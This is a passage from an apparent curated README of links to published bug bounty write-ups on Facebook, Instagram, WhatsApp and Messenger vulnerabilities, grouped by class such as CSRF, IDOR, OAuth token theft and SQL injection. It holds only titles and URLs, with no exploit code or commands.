CSRF vulnerabilities in Facebook Messenger](http://blog.mazinahmed.net/2015/06/facebook-messenger-multiple-csrf.html) - [Messenger Site-wide CSRF](https://whitton.io/articles/messenger-site-wide-csrf/) - [FacebookMarketingDevelopers.com: Proxies, CSRF, quandry and API fun!](https://philippeharewood.com/facebookmarketingdevelopers-com-proxies-csrf-quandry-and-api-fun/) - [Bypassing Facebook CSRF](https://blog.darabi.me/2015/04/bypass-facebook-csrf.html) - [How I Bypassed Facebook CSRF in 2016](https://blog.darabi.me/2016/05/how-i-bypassed-facebook-csrf-in-2016.html) - [Adding Welcome Notes to Facebook Groups using CSRF](https://niyaax9.blogspot.com/2016/04/facebook-csrf-adding-welcome-notes-to.html) - [Cross-Site Request Forgery in Facebook](https://medium.com/@zahidali_93675/cross-site-request-forgery-in-facebook-86087201d8c) - [Facebook Security Bug: CSRF in the Signup Form](https://www.facebook.com/groups/bugbountygroup/permalink/444862699243897/) - [Low Hanging Fruits #4 - Facebook CSRF and more](https://exploitthesecurity.blogspot.com/2018/01/low-hanging-fruits-4.html) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="SSRF"></a> ### SSRF - [$10000 Facebook SSRF (Bug Bounty)](https://amineaboud.medium.com/10000-facebook-ssrf-bug-bounty-402bd21e58e5) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="LOGIC"></a> ### Logic - [How I Hacked Facebook Employees Secure Files Server](http://nirgoldshlager.blogspot.com/2013/01/how-i-hacked-facebook-employees-secure.html) - [Breaking Facebook's Text Captcha](http://pwndizzle.blogspot.in/2014/07/breaking-facebooks-text-captcha.html) - [Business Logic Flaw on Facebook (PoC)](http://bugbountypoc.com/business-logic-flaw-facebook-poc/) - [Edit the Facebook Album Order of Any User](https://philippeharewood.com/edit-the-facebook-album-order-of-any-user/) - [Missing Authorization Check in Pages Manager](http://bugbountypoc.com/missing-authorization-check-in-pages-manager/) - [Facebook: Bypassing prohibit-embedding protection and stealing user data](https://immukul.blogspot.in/2017/04/facebook-bypassing-prohibit-embedding.html) - [Facebook Vulnerability that allows to add almost anyone to any group](https://www.youtube.com/watch?v=Qu_A_s0LLbs) - [Facebook bug allows to access other users' blocked friend list](https://www.youtube.com/watch?v=jxH1yyhCe_k) - [Facebook Unrestricted File Upload to Remote Code Execution](https://www.youtube.com/watch?v=YFmvlInx4IQ) - [Facebook Graph API Bug - Disclosing Friends List](https://www.youtube.com/watch?v=j_KiiiYpl4w) - [Facebook Checkpoint Bypass](https://www.aryansinha.com/2017/08/facebook-checkpoint-flaw.html) <a name="RC"></a> ### Race conditions - [Race conditions on the web](https://www.josipfranjkovic.com/blog/race-conditions-on-web) - [Race conditions on Facebook](https://josipfranjkovic.blogspot.com/2015/04/race-conditions-on-facebook.html) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="RL"></a> ### Rate Limits - [Facebook Bug: PoC ContactPoint Inference](http://www.hackingmonks.net/2022/07/facebook-bug-poc-contactpoint-inference.html) - [How I Could Have Hacked Your Facebook Account](http://www.anandpraka.sh/2016/03/how-i-could-have-hacked-your-facebook.html) - [Facebook Account Takeover](http://arunsureshkumar.me/index.php/2016/04/24/facebook-account-take-over/) - [Instagram Account Takeover](http://xss001.blogspot.in/2016/05/instagram-account-takeover.html) - [Bug Hunter Discloses Way to Hack Instagram Accounts on Facebook](https://www.kieranclaessens.be/facebook-text-authentication-flaw.html) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="OR"></a> ### Open Redirect ($500+) - [Multiple Open Redirection](https://thekaitokid.blogspot.com/2014/10/multiple-open-redirection.html) - [Evading Facebook Linkshim](https://0xsobky.github.io/evading-facebook-linkshim/) - [Multiple Open URL Redirection Vulnerability in Facebook Worth $1500](https://arulkumar.in/multiple-open-url-redirection-vulnerability-in-facebook-worth-1500/) - [Cross-Site Scripting in Facebook Ads Manager](https://www.vulnerability-lab.com/get_content.php?id=975) - [How I Discovered a $1000 Open Redirect in Facebook](https://yassineaboukir.com/blog/how-i-discovered-a-1000-open-redirect-in-facebook/) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="CLJ"></a> ### Clickjacking - [How I Got $5000 from Facebook Bug Bounty](https://www.codegrudge.com/2015/03/how-i-got-5000-from-facebook-bugbounty.html) - [Facebook Bug Bounty: Clickjacking](http://www.paulosyibelo.com/2015/03/facebook-bug-bounty-clickjacking.html) - [Bypassing Facebook's Login Protection](http://www.lachisterablanca.com/2014/02/bypass-de-la-proteccion-contra.html) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="IDOR"></a> ### Insecure Direct Object Reference (IDOR) - [Instagram IDOR Bug - $4300](https://medium.com/@nvmeeet/4300-instagram-idor-bug-2022-5386cf492cad) - [Disclosing Unconfirmed Email/Phone of a Facebook User](https://ysamm.com/?p=700) - [Hacking Facebook.com/thanks for Posting on Your Wall](http://www.anandpraka.sh/2014/11/hacking-facebookcomthanks-posting-on.html) - [Hijacking a Facebook Account with SMS](https://whitton.io/articles/hijacking-a-facebook-account-with-sms/) - [Delete Any Photo from Facebook by Exploiting Support Dashboard](https://arulkumar.in/delete-any-photo-from-facebook-by-exploiting-support-dashboard/) - [Removing Covers/Images on Friendship Pages on Facebook](https://whitton.io/articles/removing-covers-images-on-friendship-pages-on-facebook/) - [How I Hacked Your Facebook Photos](https://zerohacks.com/bug-bounty-hacks/how-i-hacked-your-facebook-photos/) - [Overwriting/Removing Cover Photos on Facebook Profiles](https://roy-castillo.blogspot.com/2016/02/overwritingremoving-cover-photos-on.html) - [Facebook Page Takeover Zero-Day Vulnerability](http://arunsureshkumar.me/index.php/2016/09/16/facebook-page-takeover-zero-day-vulnerability/) - [Insecure Direct Object Reference (IDOR) in Facebook Groups](https://russellaurio.blogspot.com/2016/11/insecure-direct-object-reference-idor.html) - [Delete anyone's facebook video](https://www.youtube.com/watch?v=DvNHjh0EJNs) - [Posting GIFs as Anyone on Facebook](https://philippeharewood.com/posting-gifs-as-anyone-on-facebook/) - [Image Removal Vulnerability in Facebook](https://blog.darabi.me/2017/11/image-removal-vulnerability-in-facebook.html) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="PS"></a> ### Privacy/Spam - [This is how I was able to see private archived posts/stories of users on Instagram without following them](https://infosecwriteups.com/this-is-how-i-was-able-to-see-private-archived-posts-stories-of-users-on-instagram-without-de70ca39165c) - [A Facebook Bug That Exposes Email/Phone Number to Your Friends](https://iamsaugat.medium.com/a-facebook-bug-that-exposes-email-phone-number-to-your-friends-a980d24e5ea8) - [This is how I was able to see and delete your private Facebook Portal photos](https://hiecstasy.medium.com/this-is-how-i-was-able-to-see-and-delete-your-private-facebook-portal-photos-a93ed22f875b) - [Trim private live videos and access them](https://medium.com/@yaala/trim-private-live-videos-and-access-them-a331447cc82a) - [Ability to Invite Any User to a Facebook Page (All Non-Friends)](https://philippeharewood.com/ability-to-invite-any-user-to-a-facebook-page-all-non-friends/) - [How I Made $500 USD by Reporting Logical Vulnerability on Facebook](https://sweethacking.blogspot.com/2014/11/how-i-made-500-usd-by-reporting-logical.html) - [Facebook User Identification Bug](http://patorjk.com/blog/2013/03/01/facebook-user-identification-bug/) - [Facebook Privacy Bug: View Photos as a Blocked User](https://web.archive.org/web/20160125122634/http://allanjaydumanhug.ninja/blog/facebook-privacy-bug-view-photos-as-a-blocked-user/) - [A Bug in Facebook That Violated My Privacy](https://ysamm.com/?p=280) - [The Easiest Bug Bounties I Have Ever Won](https://josipfranjkovic.blogspot.com/2015/07/the-easiest-bug-bounties-i-have-ever-won.html) - [Facebook’s Bug: Fooling Graph Search to Bypass Privacy Restrictions](https://pranavhivarekar.in/2016/02/20/facebooks-bug-fooling-graph-search-to-bypass-privacy-restrictions/) - [Ability to Send Payment Requests Inspite of Being Blocked by the Recipient](https://web.archive.org/web/20160629134045/https://abhartiya.wordpress.com/2016/02/08/ability-to-send-payment-requests-inspite-of-being-blocked-by-the-recipient/) - [Curiosity and Passion to Your Profession Might Lead to Make Your Dream Come True](https://medium.com/@rajsek/curiosity-and-passion-to-your-profession-might-lead-to-make-your-dream-come-true-7d9be3c6029a) - [My 2nd Facebook Bounty POC: FB data of birth disclosure](https://medium.com/@rajsek/my-2nd-facebook-bounty-poc-fb-data-of-birth-disclosure-d02e1bec50) - [Silently Using Facebook XMPP](https://dr4cun0.com/blog/silently-using-facebook-xmpp/) - [Find Mingle Suggestions for Any Facebook User](https://philippeharewood.com/find-mingle-suggestions-for-any-facebook-user/) - [Find Mingle Suggestions for Any Facebook User Revisited](https://philippeharewood.com/find-mingle-suggestions-for-any-facebook-user-revisited/) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="PR"></a> ### Page Roles - [How I Was Able to Reveal Page Admin of Almost Any Page on Facebook](https://medium.com/pentesternepal/how-i-was-able-to-reveal-page-admin-of-almost-any-page-on-facebook-5a8d68253e0c) - [Page Admin Disclosure When Posting a Reel](https://zerocode-ph.medium.com/page-admin-disclosure-when-posting-a-reel-1bfac9bd7f71) - [How I Could Have Crashed Page Role](http://whitehatstories.blogspot.in/2017/09/how-i-could-have-crashed-page-role.html) - [Tag Photos as a Page Analyst](https://philippeharewood.com/tag-photos-as-a-page-analyst/) - [Using an Analyst Account to Post to Facebook Open Graph Objects](https://philippeharewood.com/using-an-analyst-account-to-post-to-facebook-open-graph-objects/) - [Like Any Facebook Page as a Page Analyst](https://philippeharewood.com/like-any-facebook-page-as-a-page-analyst/) - [Viewing Payment Information as an Ad Analyst](https://philippeharewood.com/viewing-payment-information-as-an-ad-analyst/) - [View the Job Applications of a Page as an Analyst](https://philippeharewood.com/view-the-job-applications-of-a-page-as-an-analyst/) - [Deactivate Facebook Page Shop as an Analyst](https://philippeharewood.com/deactivate-facebook-page-shop-as-an-analyst/) - [Create a Product as an Analyst on a Facebook Page Store](https://philippeharewood.com/create-a-product-as-an-analyst-on-a-facebook-page-store/) - [Disclose Users with Roles on Facebook Pages](https://philippeharewood.com/disclose-users-with-roles-on-facebook-pages/) - [Change Trust Project Credibility Indicators as an Analyst](https://philippeharewood.com/change-trust-project-credibility-indicators-as-an-analyst/) - [A Simple Bug on Facebook That Is Worth $8,000](https://medium.com/@ajdumanhug/a-simple-bug-on-facebook-that-is-worth-8000-b77f7e01b064) - [Using App Ads Helper as an Analytic User](https://medium.com/@joshuaregio/using-app-ads-helper-as-an-analytic-user-e751fcf9c594) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="FA"></a> ### Facebook Ads - [Instagram Ad Account Disclosure](https://www.yesnaveen.com/2021/12/Instagram-ad-account-disclosure.html) - [Facebook Bypass Ads Account Roles](https://blog.darabi.me/2015/03/facebook-bypass-ads-account-roles.html) - [Ads API Error Leads to Ad Account ID Being Leaked from the Legacy Account ID](https://philippeharewood.com/ads-api-error-leads-to-ad-account-id-being-leaked-from-the-legacy-account-id/) - [View the Ads Retention Curve Completion Rate for Any Ad Account](https://philippeharewood.com/view-the-ads-retention-curve-completion-rate-for-any-ad-account/) - [De-Anonymizing Facebook Ads](https://philippeharewood.com/de-anonymizing-facebook-ads/) - [Session Expiration Bypass in Facebook Creator App](https://medium.com/@evilboyajay/session-expiration-bypass-in-facebook-creator-app-b4f65cc64ce4) - [Whitehat: Test Accounts can act as Hidden Admin with Business Manager Ad Accounts](https://medium.com/@rohitcoder/whitehat-test-accounts-can-act-as-hidden-admin-with-business-manager-ad-accounts-ce75ead5ffff) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="FG"></a> ### Facebook Groups - [Facebook Vulnerability Expose Group Member 3000+](https://medium.com/@muhammadsholikhin/facebook-vulnerability-expose-group-member-3000-cca809a53f6b) - [Facebook Group Members Disclosure](https://spongebhav.medium.com/facebook-group-members-disclosure-e53eb83df39e) - [Group Experts Pending Expertise Request Acceptance Disclosure](https://hopesamples.blogspot.com/2022/09/group-experts-pending-expertise-request.html) - [How I was able to post in any Facebook group on behalf of its members](https://web.archive.org/web/20171103133104/http://thesecuritynews.com/project/how-i-was-able-to-post-in-any-facebook-group-on-behalf-of-its-members/) - [POC Disclose Members in Any Closed Facebook Group](https://medium.com/@edmundaa222/poc-disclose-members-in-any-closed-facebook-group-259783fa4bf) - [$2500 Lakhpati Bug at Facebook: Gaining access to files of a Closed Group](https://www.facebook.com/notes/$2500-lakhpati-bug-at-facebook-gaining-access-to-files-of-a-closed-group/686615161373797) - [Get Group's DOC without User Permission: Facebook Graph API Bug](https://medium.com/@rahulmfg/get-groups-doc-without-user-permission-facebook-graph-api-bug-5f19367373a2) - [The group idphotos endpoint isn't obeying the publish_actions and user_groups permission requirement](https://philippeharewood.com/the-group-idphotos-endpoint-isnt-obeying-the-publish_actions-and-user_groups-permission-requirement/) - [Facebook Group Hack - In 2015 I Reported and Got 10,000$](https://zappstiko.blogspot.com/2017/02/facebook-group-hack-in-2015-i-reported.html) - [Missing Functional Level Access Control in Secret Groups](https://medium.com/@iamkartiksingh/missing-functional-level-access-control-in-secret-groups-86da6c110775) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="PHN"></a> ### Phone number - [How I Was Able to Remove Your Instagram Phone Number](https://medium.com/bugbountywriteup/how-i-was-able-to-remove-your-instagram-phone-number-d346515e79c3) - [Determine a User from a Private Phone Number](https://philippeharewood.com/determine-a-user-from-a-private-phone-number/) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="EA"></a> ### Email address - [How I was able to remove your Instagram phone number](https://medium.com/bugbountywriteup/how-i-was-able-to-remove-your-instagram-phone-number-d346515e79c3) - [Determine a user from a private phone number](https://philippeharewood.com/determine-a-user-from-a-private-phone-number/) - [Confirming any new email address bug in Facebook (Part 4)](https://lokeshdlk77.medium.com/confirming-any-new-email-address-bug-in-facebook-part-4-70cfe1b4dca5) - [Facebook email disclosure and account takeover](https://medium.com/pentesternepal/facebook-email-disclosure-and-account-takeover-ecdb44ee12e9) - [A Facebook bug that exposes email/phone number to your friends](https://iamsaugat.medium.com/a-facebook-bug-that-exposes-email-phone-number-to-your-friends-a980d24e5ea8) - [Obtaining the primary email address of any Facebook user](https://stephensclafani.com/2013/07/09/obtaining-the-primary-email-address-of-any-facebook-user/) - [Disclosing the primary email address for each Facebook user](https://web.archive.org/web/20161223175543/http://www.dawgyg.com/2016/12/21/disclosing-the-primary-email-address-for-each-facebook-user/) - [Facebook invitees email address disclosure](http://fogmarks.com/2016/04/03/facebook-invitees-email-addresss-disclosure/) - [Facebook Skype-to-Email leak (3000$ bounty)](https://web.archive.org/web/20170809142917/http://blog.internot.info/2014/05/facebook-skype-to-email-leak-3000-bounty.html) - [View commerce settings and email for any page shop](https://philippeharewood.com/view-commerce-settings-and-email-for-any-page-shop/) - [View the assigned roles and emails of an Instagram account](https://philippeharewood.com/view-the-assigned-roles-and-emails-of-an-instagram-account/) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="BIPA"></a> ### BIP address [Facebook Bug:Getting other user's IP address from a Image on Facebook](https://asad0x01.blogspot.com/2017/05/facebook-buggetting-other-users-ip.html) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="SYMA"></a> ### Symlink Attack - [Reading Local Files from Facebook's Internal Network](https://josipfranjkovic.blogspot.com/2014/12/reading-local-files-from-facebooks.html) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="ASFT"></a> ### Accellion’s Secure File Transfer [How I hacked Facebook and found someone's backdoor script](http://blog.orange.tw/2016/04/bug-bounty-how-i-hacked-facebook-and-found-someones-backdoor-script.html) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="XXE"></a> ### XXE - [Facebook Remote Code Execution](https://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution) - [Hacked Facebook Word Document](https://web.archive.org/web/20150316053924/http://attack-secure.com/hacked-facebook-word-document/) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="LFI"></a> ### LFI - [Facebook Web Security Bug Bounty: Directory Traversal Vulnerability / RCE In Parse.com](http://www.websecuritylog.com/2014/10/facebook--bug-bounty.html?spref=tw) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="SQLI"></a> ### SQLI<br> - [Pupping a shell on the oculus dev portal ](https://bitquark.co.uk/blog/2014/08/31/popping_a_shell_on_the_oculus_developer_portal) - [Step by step exploiting sql on fb ](https://josipfranjkovic.blogspot.com/2014/09/step-by-step-exploiting-sql-injection.html) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="JK"></a> ### Jenkins - [How i hacked facebook jenkins vuln ](https://blog.dewhurstsecurity.com/2014/12/09/how-i-hacked-facebook.html) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="API"></a> ### API - [Facebook Bug:Commenting on non-friends](https://asad0x01.blogspot.com/2017/05/facebook-bugcommentingon-non-friends.html) - [Hacking Facebook's Legacy API Part 1: Making Calls on Behalf of Any User](https://stephensclafani.com/2014/07/08/hacking-facebooks-legacy-api-part-1-making-calls-on-behalf-of-any--user/) - [How I Exposed Your Primary Facebook Photos](https://roy-castillo.blogspot.com/2013/07/how-i-exposed-your-primary-facebook.html) - [Facebook Insights API Bug](https://philippeharewood.com/facebook-insights-api-bug/) - [Facebook v2.0 API Bug: Inconsistencies with App-Scoped IDs](https://philippeharewood.com/facebook-v2-0-api-bug-inconsistencies-with-app-scoped-ids/) - [Bounty leftover part 1](http://blog.intothesymmetry.com/2014/09/bounty-leftover-part-1.html) - [Paging Cursors Leaking Data in Graph API](https://philippeharewood.com/paging-cursors-leaking-data-in-graph-api/) - [Tagged Places Shouldn't Show Paging Params If No user_tagged_places Granted](https://philippeharewood.com/tagged-places-shouldnt-show-paging-params-if-no-user_tagged_places-granted/) - [Bypassing appsecret_proof Verification](https://philippeharewood.com/bypassing-appsecret_proof-verification/) - [Change the Description of a Video Without publish_actions Permission](https://philippeharewood.com/change-the-description-of-a-video-without-publish_actions-permission/) - [Icon Field in Posts Gets access_token Appended](https://philippeharewood.com/icon-field-in-posts-gets-access_token-appended/) - [Reply to a Message Without read_page_mailboxes Permission](https://philippeharewood.com/reply-to-a-message-without-read_page_mailboxes-permission/) - [Bypassing Posting to Friends Timelines API Restriction](https://philippeharewood.com/bypassing-posting-to-friends-timelines-api-restriction/) - [How I Exposed Your Private Photos](https://zerohacks.com/bug-bounty-hacks/how-i-exposed-your-private-photos/) - [Facebook Page Profile Picture Update Requires Neither publish_pages Nor publish_actions](https://philippeharewood.com/facebook-page-profile-picture-update-requires-neither-publish_pages-nor-publish_actions/) - [The Facebook publish_pages Permission is Missing in MeLinks](https://philippeharewood.com/the-facebook-publish_pages-permission-is-missing-in-melinks/) - [Upload Videos Thumbnails with Just public_profile Permission](https://philippeharewood.com/upload-videos-thumbnails-with-just-public_profile-permission/) - [Icon Field in Posts Gets access_token Appended](https://philippeharewood.com/icon-field-in-posts-gets-access_token-appended/) - [Modifying Privacy Settings on Facebook Through Graph API](https://web.archive.org/web/20160202160841/http://www.secinfinity.net/modifying-privacy-settings-on-facebook-through-graph-api/) - [Show Friends Sharing Precise Locations as a Third-Party Application](https://philippeharewood.com/show-friends-sharing-precise-locations-as-a-third-party-application/) - [Change Tag Suggestions for Any Facebook User](https://philippeharewood.com/change-tag-suggestions-for-any-facebook-user/) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="GQ"></a> ### GraphQL - [GraphQL IDOR in Facebook streamer dashboard](https://kailashbohara.com.np/blog/2020/11/18/GraphQL-IDOR-in-Facebook-streamer-dashboard/) - [View the GraphQL stored queries for any application](https://philippeharewood.com/view-the-graphql-stored-queries-for-any-application/) - [Path disclosure in Facebook GraphQL API](https://philippeharewood.com/path-disclosure-in-facebook-graphql-api/) - [Facebook employees commission splits counts are shown](https://philippeharewood.com/facebook-employees-commission-splits-counts-are-shown/) - [Abusing Facebook Graph Search](https://philippeharewood.com/abusing-facebook-graph-search/) - [My 3rd Facebook Bounty Hat Trick - Chennai TCS-er Name Listed in Facebook Hall of Fame](https://medium.com/@rajsek/my-3rd-facebook-bounty-hat-trick-chennai-tcs-er-name-listed-in-facebook-hall-of-fame-47f57f2a4f71) - [Facebook's Bug - Unauthorized Access to Credit Card Details Limited of Any User](https://pranavhivarekar.in/2017/02/11/facebooks-bug-unauthorized-access-to-credit-card-details-limited-of-any-user/) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="FQL"></a> ### FQL - [A Bug Worth $4200](https://filippo.io/a-bug-worth-4200$/) - [Facebook Keyword_Insights Bug](https://philippeharewood.com/facebook-keyword_insights-bug/) - [Getting the Username in FQL in 2.0 Applications](https://philippeharewood.com/getting-the-username-in-fql-in-2-0-applications/) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="LN"></a> ### Login Nonces - [Stealing messengerlogin nonces](https://stephensclafani.com/2017/03/21/stealing-messenger-com-login-nonces/) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="OAUTH"></a> ### OAuth (AKA Stealing Access Tokens) - [Facebook OAuth Bypass](https://medium.com/@yaala/facebook-oauth-bypass-446a073e687d) - [Hacking Facebook CSRF Device Login Flow](https://www.josipfranjkovic.com/blog/hacking-facebook-csrf-device-login-flow) - [Hacking Facebook's Legacy API Part 2: Stealing User Sessions](https://stephensclafani.com/2014/07/29/hacking-facebooks-legacy-api-part-2-stealing-user-sessions/) - [A Story of $9,500 Bug in Facebook OAuth 2.0](https://isciurus.blogspot.ru/2013/04/a-story-of-9500-bug-in-facebook-oauth-20.html) - [Pwning Facebook Authorization through Chrome extension](https://isciurus.blogspot.ca/2012/09/pwning-facebook-authorization-through.html) - [Hacking Facebook with OAuth2 and Chrome Extension](http://homakov.blogspot.ca/2013/02/hacking-facebook-with-oauth2-and-chrome.html) - [Stealing Facebook Access Tokens using the Facebook OAuth Dialog](https://blog.bentkowski.info/2014/09/in-this-post-ill-explain-to-you.html) - [Facebook MailChimp Application OAuth 2.0 Misconfiguration](https://prakharprasad.com/facebook-mailchimp-application-oauth-2-0-misconfiguration/) - [Facebook's Parse OAuth Bug](https://medu554.blogspot.com/2013/08/facebooks-parse-oauth-bug.html) - [Facebook Authentication Bug Bounty](http://breaksec.com/?p=5753) - [How I hacked Facebook OAuth to get Full Permission Access Tokens](http://nirgoldshlager.blogspot.com/2013/02/how-i-hacked-facebook-oauth-to-get-full.html) - [OAuth 2: How I Have Hacked Facebook Again](http://blog.intothesymmetry.com/2014/04/oauth-2-how-i-have-hacked-facebook.html) - [Stealing Facebook Access Tokens with a Double Submit](https://whitton.io/articles/stealing-facebook-access-tokens-with-a-double-submit/) - [Facebook JS Security Issue](http://prosecco.gforge.inria.fr/CVE/Facebook_JS_2012.html) - [Swiping Facebook Official Access Tokens](https://philippeharewood.com/swiping-facebook-official-access-tokens/) - [OAuth Token Validation Bug in Facebook](http://whitehatstories.blogspot.in/2017/05/oauth-token-validation-bug-in-facebook.html) - [Bypass OAuth Nonce and Steal Oculus Response Code](https://medium.com/@lokeshdlk77/bypass-oauth-nonce-and-steal-oculus-response-code-faa9cc8d0d37) - [Stealing Facebook MailChimp Application OAuth 2.0 Access Token](https://medium.com/@lokeshdlk77/stealing-facebook-mailchimp-application-oauth-2-0-access-token-3af51f89f5b0) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="IG"></a> ### Instagram - [One-click reflected XSS in instagram due to unfiltered URI schemes leads to account takeover](https://labs.detectify.com/2021/07/15/one-click-reflected-xss-in-www-instagram-com-due-to-unfiltered-uri-schemes-leads-to-account-takeover/) - [How I found a critical bug in Instagram and got $49,500 bounty from Facebook](https://infosecwriteups.com/how-i-found-a-critical-bug-in-instagram-and-got-49500-bounty-from-facebook-626ff2c6a853) - [React debug.keystore key was trusted by Instagram’s APK file, leading to Account takeover](https://www.vulnano.com/2022/07/react-debugkeystore-key-was-trusted-by.html) - [Instagram photo was present in data backup nearly after two years being deleted](https://medium.com/@the_null_kid/instagram-photo-was-present-in-data-backup-nearly-after-two-years-being-deleted-f0e4d6e108) - [Email confirmation bypass at Instagram](https://medium.com/@avinash_/email-confirmation-bypass-at-instagram-cc968f9a126) - [Instagram-haavoittuvuus antaa kuvat ilman lupaa](http://www.iltalehti.fi/digi/2016050221506011_du.shtml) - [Breaking video calling feature in Instagram app](https://www.facebook.com/notes/kinghackx/breaking-video-calling-feature-in-instagram-app/522128951955609/) - [Hacked your Instagram account? Here’s how to get it back](https://viaforensics.com/mobile-security/hacked-your-instagram-account.html) - [How I found my way into Instagram’s servers](https://josipfranjkovic.blogspot.com/2013/07/how-i-found-my-way-into-instagrams.html) - [Instagram's One-Click Privacy Switch](https://whitton.io/articles/instagrams-one-click-privacy-switch/) - [Facebook BugBounty - Facebook, Instagram - Get someone's phone number with just a Facebook account](https://samanfatahpour.blogspot.com/2014/10/facebook-bugbounty-facebook-instagram.html) - [The Tales of a Bug Bounty Hunter: 10 interesting vulnerabilities in Instagram](https://www.arneswinnen.net/2016/02/the-tales-of-a-bug-bounty-hunter-10-interesting-vulnerabilities-in-instagram/) - [How I could compromise 4 locked Instagram accounts](https://www.arneswinnen.net/2016/03/how-i-could-compromise-4-locked-instagram-accounts/) - [Instagram Unauthorized Comment Deletion](https://mohankallepalli.blogspot.com/2016/04/instagram-unauthorized-comment-deletion.html) - [InstaBrute: Two Ways to Brute-force Instagram Account Credentials](https://www.arneswinnen.net/2016/05/instabrute-two-ways-to-brute-force-instagram-account-credentials/) - [Instagram Email Verification Issue](http://bugdisclose.blogspot.in/2017/04/instagram-email-verification-issue.html) - [Find Instagram contacts for any user on Facebook](https://philippeharewood.com/find-instagram-contacts-for-any-user-on-facebook/) - [Taking over Instagram accounts](https://stefanovettorazzi.com/taking_over_instagram_accounts/) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="SIGNAL"></a> ### Signal - [Getting facebook signal app access token](https://philippeharewood.com/getting-facebook-signal-app-access-token/) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="SLING"></a> ### Slingshot - [Add any facebook user non friend to slingshot without knowing the username](https://philippeharewood.com/add-any-facebook-user-non-friend-to-slingshot-without-knowing-the-username/) ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="MA"></a> ### Messenger Android - [Indirect thread deletion vulnerability in Messenger Android](https://servicenger.com/mobile/facebook-messenger-for-android-indirect-thread-deletion "Indirect thread deletion vulnerability in Messenger Android") - [Session misconfiguration vulnerability in Messenger Android](https://www.aryansinha.com/2017/11/session-misconfiguration-in-messenger.html "Session misconfiguration vulnerability in Messenger Android") - [Facebook Messenger Server Random Memory Vulnerability](https://www.vulnano.com/2019/03/facebook-messenger-server-random-memory.html "Facebook Messenger Server Random Memory Vulnerability") ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="MOMENTS"></a> ### Moments - [Rewriting a photo not owned by the session user in Moments app](https://philippeharewood.com/rewriting-a-photo-not-owned-by-the-session-user-in-moments-app/ "Rewriting a photo not owned by the session user in Moments app") - [Deleting any Moments app photo or folder not owned by the session user](https://philippeharewood.com/delete-any-moments-app-photo-or-folder-not-owned-by-the-session-user/ "Deleting any Moments app photo or folder not owned by the session user") ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="MOVES"></a> ### Moves - [OAuth Cross-Site Scripting vulnerability in Facebook's Moves app](https://web.archive.org/web/20171112164937/http://www.paulosyibelo.com:80/2015/12/facebooks-moves-oauth-xss.html "OAuth Cross-Site Scripting vulnerability in Facebook's Moves app") ![---------------------------------------------------------------------](https://raw.githubusercontent.com/andreasbm/readme/master/assets/lines/aqua.png) <a name="WTP"></a> ### Whatsapp - [Bypassing biometric authentication in WhatsApp using VoIP](https://infosecwriteups.com/whatsapp-bug-bounty-bypassing-biometric-authentication-using-voip-87548ef7a0ba "Bypassing biometric authentication in WhatsApp using VoIP") - [WhatsApp Hacked - Remote Code Execution Vulnerability in WhatsApp Web](https://immukul.blogspot.in/2016/11/whatsapp-hacked.html "Remote Code Execution Vulnerability in WhatsApp Web") - [G Suite vulnerability in WhatsApp](http://blog.pentestnepal.tech/post/156707088037/i-got-emails-g-suite-vulnerability "G Suite vulnerability in WhatsApp") - [DoS vulnerability in WhatsApp for iOS and Android](https://medium.com/bugbountywriteup/whatsapp-dos-vulnerability-in-ios-android-d896f76d3253 "DoS vulnerability in WhatsApp for iOS and Android") - [Reading WhatsApp contacts list without unlocking the 